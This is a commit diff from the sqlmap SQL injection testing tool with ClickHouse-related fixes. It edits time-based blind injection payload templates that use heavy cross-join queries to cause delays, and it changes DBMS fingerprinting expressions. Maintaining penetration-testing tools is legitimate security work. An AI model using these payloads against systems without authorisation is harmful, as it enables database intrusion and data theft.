Skip to content

Commit d7180d3

Browse files
committed
Some fixes related to ClickHouse support (#5229)
1 parent b1aaac5 commit d7180d3

File tree

6 files changed

+16
-16
lines changed

6 files changed

+16
-16
lines changed

data/xml/payloads/time_blind.xml

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -195,9 +195,9 @@
195195
<risk>2</risk>
196196
<clause>1,2,3,8,9</clause>
197197
<where>1</where>
198-
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
198+
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
199199
<request>
200-
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
200+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
201201
</request>
202202
<response>
203203
<time>[DELAYED]</time>
@@ -235,9 +235,9 @@
235235
<risk>3</risk>
236236
<clause>1,2,3,9</clause>
237237
<where>1</where>
238-
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
238+
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
239239
<request>
240-
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
240+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
241241
</request>
242242
<response>
243243
<time>[DELAYED]</time>
@@ -276,9 +276,9 @@
276276
<risk>2</risk>
277277
<clause>1,2,3,9</clause>
278278
<where>1</where>
279-
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
279+
<vector>AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
280280
<request>
281-
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
281+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
282282
<comment>#</comment>
283283
</request>
284284
<response>
@@ -318,9 +318,9 @@
318318
<risk>3</risk>
319319
<clause>1,2,3,9</clause>
320320
<where>1</where>
321-
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
321+
<vector>OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
322322
<request>
323-
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
323+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
324324
<comment>#</comment>
325325
</request>
326326
<response>
@@ -1628,9 +1628,9 @@
16281628
<risk>2</risk>
16291629
<clause>1,2,3,9</clause>
16301630
<where>1</where>
1631-
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM])</vector>
1631+
<vector>IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM])</vector>
16321632
<request>
1633-
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C)</payload>
1633+
<payload>(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)</payload>
16341634
</request>
16351635
<response>
16361636
<time>[DELAYED]</time>

lib/core/dicts.py

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -270,7 +270,7 @@
270270
DBMS.ACCESS: "CVAR(NULL)",
271271
DBMS.MAXDB: "ALPHA(NULL)",
272272
DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
273-
DBMS.MYSQL: "QUARTER(NULL)",
273+
DBMS.MYSQL: "QUARTER(NULL XOR NULL)",
274274
DBMS.ORACLE: "INSTR2(NULL,NULL)",
275275
DBMS.PGSQL: "QUOTE_IDENT(NULL)",
276276
DBMS.SQLITE: "UNLIKELY(NULL)",
@@ -288,7 +288,7 @@
288288
DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
289289
DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))",
290290
DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
291-
DBMS.CLICKHOUSE: "coalesce(NULL)",
291+
DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL",
292292
}
293293

294294
SQL_STATEMENTS = {

lib/core/enums.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,7 @@ class DBMS(object):
5252
PRESTO = "Presto"
5353
ALTIBASE = "Altibase"
5454
MIMERSQL = "MimerSQL"
55-
CLICKHOUSE = "Clickhouse"
55+
CLICKHOUSE = "ClickHouse"
5656
CRATEDB = "CrateDB"
5757
CUBRID = "Cubrid"
5858
CACHE = "InterSystems Cache"

lib/core/settings.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from thirdparty.six import unichr as _unichr
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.7.2.1"
23+
VERSION = "1.7.2.2"
2424
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2525
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
2626
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

plugins/dbms/clickhouse/__init__.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@
1818

1919
class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
2020
"""
21-
This class defines Clickhouse methods
21+
This class defines ClickHouse methods
2222
"""
2323

2424
def __init__(self):

plugins/dbms/mysql/fingerprint.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -175,7 +175,7 @@ def checkDbms(self):
175175
infoMsg = "testing %s" % DBMS.MYSQL
176176
logger.info(infoMsg)
177177

178-
result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL")
178+
result = inject.checkBooleanExpression("QUARTER(NULL XOR NULL) IS NULL")
179179

180180
if result:
181181
infoMsg = "confirming %s" % DBMS.MYSQL

0 commit comments

Comments
 (0)